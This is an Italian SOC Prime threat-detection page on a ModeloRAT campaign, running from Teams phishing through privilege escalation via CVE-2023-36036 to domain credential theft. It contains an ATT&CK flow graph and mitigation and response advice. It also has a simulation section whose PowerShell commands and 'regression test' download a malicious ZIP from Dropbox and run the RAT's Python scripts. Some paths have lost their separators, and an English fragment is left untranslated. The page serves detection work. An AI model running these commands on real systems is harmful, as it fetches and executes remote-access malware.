Analisi di una Campagna ModeloRAT: dal Phishing su Teams alla Compromissione del Dominio

SOC Prime Team

Segui

Analisi di una Campagna ModeloRAT: dal Phishing su Teams alla Compromissione del Dominio

Detection stack

AIDR
Alert
ETL
Query

Rapporto
Flusso di Attacco
Rilevamenti
Simulazioni

Riepilogo

Rapid7 ha analizzato un’intrusione iniziata con un messaggio dannoso su Microsoft Teams che si spacciava per supporto IT. L’attaccante ha utilizzato un payload Python ospitato su Dropbox per distribuire ModeloRAT, elevare i privilegi tramite CVE-2023-36036, e rubare credenziali di dominio presentando una schermata di blocco falsa alla vittima. La campagna ha mostrato quanto velocemente un attaccante possa passare da un singolo endpoint compromesso al furto di credenziali su vasta scala nel dominio, facendo affidamento su tecniche ‘living-off-the-land’. L’incidente sottolinea anche il crescente rischio posto dalle piattaforme di collaborazione come vettore di accesso iniziale.

Indagine

L’indagine ha seguito l’intera catena di attacchi dalla conversazione iniziale su Teams ad uno stager PowerShell che ha scaricato un archivio ZIP da Dropbox, ha estratto un ambiente Python portabile e lanciato collector.py and Pmanager.py. ModeloRAT ha quindi stabilito un beaconing HTTP verso diversi server di comando e controllo, effettuato ricognizione ospite e utilizzato rundll32 per attivare un exploit kernel che ha concesso l’accesso a livello di SISTEMA. La persistenza è stata mantenuta tramite un’attività pianificata, e gli attaccanti hanno distribuito componenti di backdoor aggiuntivi durante l’intrusione.

Mitigazione

Le organizzazioni dovrebbero applicare controlli stretti sull’accesso esterno in Microsoft Teams, monitorare attività insolita di PowerShell e Python, bloccare URL Dropbox noti come dannosi e assicurarsi che i sistemi siano aggiornati contro CVE-2023-36036. Politiche di controllo delle applicazioni che limitano l’uso non autorizzato possono aiutare a ridurre il rischio di sfruttamento. I team di sicurezza dovrebbero anche osservare comportamenti di schermata di blocco finta e altri segni di attività di acquisizione delle credenziali sugli endpoint. rundll32 usage can help reduce exploitation risk. Security teams should also watch for fake lock-screen behavior and other signs of credential-harvesting activity on endpoints.

Risposta

Se viene rilevata questa attività, isolare immediatamente l’endpoint interessato, revocare le credenziali dell’utente compromesso e reimpostare le password del dominio impattate. Gli investigatori dovrebbero raccogliere catture di memoria complete, inclusa l’evidenza relativa a LSASS dove appropriato, cercare artefatti di ModeloRAT e rimuovere eventuali attività pianificate dannose o meccanismi di persistenza. Anche le impostazioni del tenant di Teams dovrebbero essere riviste e le chat esterne disabilitate se non sono operativamente necessarie.

"graph TB %% Definizioni delle Classi classDef action fill:#ffcccc classDef tool fill:#cce5ff classDef malware fill:#e6ffcc classDef process fill:#ffd9b3 classDef file fill:#f2e6ff %% Nodi di Azione action_phishing["Azione – T1566.003 Phishing: Spearphishing via Servizio Messaggio di Microsoft Teams che impersona il supporto IT con link malevolo."] class action_phishing action action_impersonation["Azione – T1656 Impersonificazione Account falso di supporto IT creato per apparire legittimo."] class action_impersonation action action_content_injection["Azione – T1659 Iniezione di Contenuto Messaggio contiene comando PowerShell che avvia catena di infezione."] class action_content_injection action action_user_execution["Azione – T1204 Esecuzione Utente La vittima clicca sul link o copia e incolla lo stager PowerShell."] class action_user_execution action action_software_discovery["Azione – T1518 Scoperta del Software collector.py enumera software installati, patch e configurazioni."] class action_software_discovery action action_security_discovery["Azione – T1518.001 Scoperta dei Software di Sicurezza Lo script controlla processi AV come SecurityHealthHost.exe."] class action_security_discovery action action_system_info["Azione – T1082 Scoperta delle Informazioni di Sistema systeminfo, whoami e altri comandi raccolgono dettagli dell’host."] class action_system_info action action_dll_loading["Azione – T1176 Estensioni Software rundll32.exe carica DLL malevoli (ssss.dll, com6848.dll)."] class action_dll_loading action action_priv_esc["Azione – T1068 Sfruttamento per Escalation di Privilegi Exploit CVEu20112023u201136036 in cldflt.sys ottiene token SYSTEM."] class action_priv_esc action action_defense_evasion["Azione – T1211 Sfruttamento per Evasione della Difesa Exploit del kernel aggira i controlli di sicurezza."] class action_defense_evasion action action_persistence_active_setup["Azione – T1547.014 Persistenza di Active Setup Chiavi di registro sotto SyncRootManager registrano fornitori di sincronizzazione cloud malevoli."] class action_persistence_active_setup action action_event_triggered["Azione – T1546 Esecuzione Basata su Evento Il fornitore di sincronizzazione agisce come meccanismo di persistenza basato su evento."] class action_event_triggered action action_scheduled_task["Azione – T1053 Attività Pianificata Attività quotidiana TempLogA esegue internal.py con privilegi SYSTEM."] class action_scheduled_task action action_path_interception["Azione – T1574.007 Intercettazione del Percorso La directory Python portatile è posizionata prima nel PATH per assicurare l’esecuzione."] class action_path_interception action action_c2_http["Azione – T1071.001 Protocollo Strato Applicativo: Protocolli Web ModeloRAT comunica con server C2 tramite porta HTTP 80."] class action_c2_http action action_nonstandard_port["Azione – T1571 Porta Non Standard Canali reverse-shell aggiuntivi usano porte 50508 e 60503."] class action_nonstandard_port action action_winrm["Azione – T1563 Acquisizione di Sessione di Servizio Remoto L’attaccante apre sessione WinRM per distribuire strumenti su secondo host."] class action_winrm action action_rdp["Azione – T1078.002 Account Validati: Account di Dominio Credenziali raccolte utilizzate per accessi RDP."] class action_rdp action action_kerberoasting["Azione – T1558.003 Kerberoasting Richieste di biglietti di servizio generano hash delle credenziali."] class action_kerberoasting action action_os_credential_dump["Azione – T1003 Dump delle Credenziali del SO DumpIt.exe cattura memoria incluso LSASS."] class action_os_credential_dump action action_unsecured_credentials["Azione – T1552.001 Credenziali Non Sicure DLL del blocca-schermo falso registra password acquisite su disco."] class action_unsecured_credentials action action_window_discovery["Azione – T1010 Scoperta delle Finestre Applicative Replica del blocca-schermo imita la schermata di blocco di Windows per catturare input."] class action_window_discovery action action_bits_job["Azione – T1197 Lavori BITS DumpIt scaricato ed eseguito tramite BITS."] class action_bits_job action %% Nodi di Strumento / File / Malware tool_powershell["Strumento – Nome: PowerShell Descrizione: Esegue comando iniziale dello stager."] class tool_powershell tool tool_python["Strumento – Nome: Portable Python (pythonw.exe) Descrizione: Esegue collector.py e Pmanager.py."] class tool_python tool tool_rundll32["Strumento – Nome: rundll32.exe Descrizione: Carica payload DLL malevoli."] class tool_rundll32 tool tool_dumpit["Strumento – Nome: DumpIt.exe Descrizione: Utility per l’acquisizione della memoria."] class tool_dumpit tool malware_collector["Malware – Nome: collector.py Descrizione: Script Python iniziale che esegue la scoperta e lancia moduli successivi."] class malware_collector malware malware_pmanager["Malware – Nome: Pmanager.py (ModeloRAT) Descrizione: Trojan di accesso remoto che comunica con C2."] class malware_pmanager malware file_ssss_dll["File – Nome: ssss.dll Descrizione: DLL malevola caricata per escalation."] class file_ssss_dll file file_com6848_dll["File – Nome: com6848.dll Descrizione: DLL malevola caricata per raccolta di credenziali."] class file_com6848_dll file file_lockdll["File – Nome: lockscreen.dll Descrizione: Falso blocca-schermo che registra le password."] class file_lockdll file %% Connessioni u2013 Flusso dell’Attacco action_phishing –>|usa| action_impersonation action_impersonation –>|consegna| action_content_injection action_content_injection –>|attiva| action_user_execution action_user_execution –>|esegue| tool_powershell tool_powershell –>|lancia| tool_python tool_python –>|esegue| malware_collector tool_python –>|esegue| malware_pmanager malware_collector –>|esegue| action_software_discovery malware_collector –>|esegue| action_security_discovery malware_collector –>|esegue| action_system_info malware_pmanager –>|carica| tool_rundll32 tool_rundll32 –>|carica| file_ssss_dll tool_rundll32 –>|carica| file_com6848_dll file_ssss_dll –>|abilita| action_priv_esc file_com6848_dll –>|abilita| action_priv_esc action_priv_esc –>|fornisce| action_defense_evasion action_defense_evasion –>|stabilisce| action_persistence_active_setup action_persistence_active_setup –>|crea| action_event_triggered action_event_triggered –>|crea| action_scheduled_task action_scheduled_task –>|si basa su| action_path_interception action_path_interception –>|assicura l’esecuzione di| malware_pmanager malware_pmanager –>|comunica tramite| action_c2_http malware_pmanager –>|usa| action_nonstandard_port malware_pmanager –>|apre| action_winrm action_winrm –>|facilita| action_rdp action_rdp –>|sfrutta| action_kerberoasting action_kerberoasting –>|fornisce credenziali per| action_os_credential_dump action_os_credential_dump –>|eseguito da| tool_dumpit tool_dumpit –>|consegnato tramite| action_bits_job action_bits_job –>|supporta| action_os_credential_dump action_unsecured_credentials –>|implementato da| file_lockdll file_lockdll –>|cattura tramite| action_window_discovery action_window_discovery –>|scrive in| action_unsecured_credentials %% Styling class action_phishing,action_impersonation,action_content_injection,action_user_execution,action_software_discovery,action_security_discovery,action_system_info,action_dll_loading,action_priv_esc,action_defense_evasion,action_persistence_active_setup,action_event_triggered,action_scheduled_task,action_path_interception,action_c2_http,action_nonstandard_port,action_winrm,action_rdp,action_kerberoasting,action_os_credential_dump,action_unsecured_credentials,action_window_discovery,action_bits_job action class tool_powershell,tool_python,tool_rundll32,tool_dumpit tool class malware_collector,malware_pmanager malware class file_ssss_dll,file_com6848_dll,file_lockdll file "

Flusso di Attacco

Narrativa e Comandi degli Attacchi:
1. Primo Rilascio: L’attaccante, avendo ottenuto un appiglio sulla workstation della vittima, lancia PowerShell per recuperare un file ZIP dannoso ospitato su Dropbox. L’URL è codificato nella regola di rilevamento, quindi l’attaccante usa esattamente la stessa stringa per garantire il rilevamento (per scopi di convalida).
2. Estrazione: Usando il cmdlet Expand-Archive , l’archivio è estratto direttamente nella cartella %APPDATA% dell’utente, una posizione frequentemente trascurata dai difensori.
3. Esecuzione del Payload: Due script Python—collector.py and Pmanager.py—sono eseguiti tramite pythonw.exe (l’interprete “senza finestra”) per evitare finestre console visibili, consentendo persistenza furtiva ed esfiltrazione dei dati.
Comandi esatti (devono corrispondere alla regola):
```
# 1. Scarica l'archivio ZIP
iwr -Uri "https://www.dropbox.com/scl/fi/[REDACTED]/vuzggemyofftzpk6.zip?rlkey=elabnna8r5omwglaq4feay6ui&st=op5i7lea&dl=1" -OutFile "$env:APPDATAWinp.zip"

# 2. Estrarre l'archivio
Expand-Archive -Path "$env:APPDATAWinp.zip" -DestinationPath "$env:APPDATA"

# 3. Esegui il primo script Python
Start-Process "$env:APPDATAWPy64-31401pythonpythonw.exe" -ArgumentList "$env:APPDATAWPy64-31401pythoncollector.py"

# 4. Esegui il secondo script Python
Start-Process "$env:APPDATAWPy64-31401pythonpythonw.exe" -ArgumentList "$env:APPDATAWPy64-31401pythonPmanager.py"
```

Script di Test di Regressione:

# -------------------------------------------------
# Test di Regressione – Imita il flusso di lavoro di PowerShell di ModeloRAT
# -------------------------------------------------
$zipUrl = "https://www.dropbox.com/scl/fi/[REDACTED]/vuzggemyofftzpk6.zip?rlkey=elabnna8r5omwglaq4feay6ui&st=op5i7lea&dl=1"
$zipPath = "$env:APPDATAWinp.zip"
$extractPath = $env:APPDATA
$pythonExe = "$env:APPDATAWPy64-31401pythonpythonw.exe"
$collector = "$env:APPDATAWPy64-31401pythoncollector.py"
$pmanager = "$env:APPDATAWPy64-31401pythonPmanager.py"

# Download
Write-Host "[*] Download ZIP dannoso..."
Invoke-WebRequest -Uri $zipUrl -OutFile $zipPath

# Estrarre
Write-Host "[*] Estrazione archivio..."
Expand-Archive -Path $zipPath -DestinationPath $extractPath -Force

# Eseguire collector.py
Write-Host "[*] Avvio collector.py..."
Start-Process -FilePath $pythonExe -ArgumentList $collector

# Eseguire Pmanager.py
Write-Host "[*] Avvio Pmanager.py..."
Start-Process -FilePath $pythonExe -ArgumentList $pmanager

Write-Host "[+] Simulazione completata. Verifica SIEM per avviso."

Comandi di Pulizia:

# -------------------------------------------------
# Pulizia – Rimuovi artefatti creati dal test
# -------------------------------------------------
$zipPath = "$env:APPDATAWinp.zip"
$extractRoot = "$env:APPDATAWPy64-31401"
$pythonExe = "$env:APPDATAWPy64-31401pythonpythonw.exe"

# Fermare eventuali processi pythonw in esecuzione da questo test
Get-Process -Name pythonw -ErrorAction SilentlyContinue |
    Where-Object {$_.Path -like "*WPy64-31401*"} |
    Stop-Process -Force

# Rimuovere la directory estratta
if (Test-Path $extractRoot) {
    Remove-Item -Recurse -Force $extractRoot
}

# Rimuovere il file ZIP
if (Test-Path $zipPath) {
    Remove-Item -Force $zipPath
}

Write-Host "[+] Pulizia completata."

Unisciti alla piattaforma Detection as Code di SOC Prime per migliorare la visibilità sulle minacce più rilevanti per il tuo business. Per aiutarti a iniziare e aumentare immediatamente il valore, prenota ora un incontro con gli esperti di SOC Prime.

Iscriviti gratis